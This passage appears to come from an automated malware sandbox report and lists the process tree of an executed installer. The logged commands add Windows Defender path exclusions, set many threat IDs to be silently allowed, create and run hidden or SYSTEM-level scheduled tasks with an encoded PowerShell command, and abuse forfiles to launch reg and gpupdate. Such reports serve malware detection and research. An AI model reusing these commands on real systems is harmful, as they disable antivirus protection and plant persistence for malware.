                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:5772
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:6304
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:6984
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:3272
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:5272
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:6416
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "gMbuntOMh" /SC once /ST 05:01:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                  PID:5792
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                  schtasks /run /I /tn "gMbuntOMh"
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:3232
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                    schtasks /DELETE /F /TN "gMbuntOMh"
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:6028
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 00:03:16 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\perUhuM.exe\" aV /CvpzdidJx 385118 /S" /V1 /F
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                      PID:1044
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                      schtasks /run /I /tn "yfARWRprRqUFWeTGf"
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:6344
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSD33E.tmp\Install.exe
                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSD33E.tmp\Install.exe Wt /SOudidBEWF 385118 /S
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:6600
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:5544
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:6560
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5184
                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                        PID:7016
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:6404
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                          PID:4948
                                                                                                                                                                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6572
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5024
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:3388
                                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4600
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:6116
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6820
                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:6788
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6952
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:3948
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                              PID:6788
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:5212
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:5304
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:3880
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:4852
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5896
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:2220
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5172
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1268
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:2780
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:5392
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:6584
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5768
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4084
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6280
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6848
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6284
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1968
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5508
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4184
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5900
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2432
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6884
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3816
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4892
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6544
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1744
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4988
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3000
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
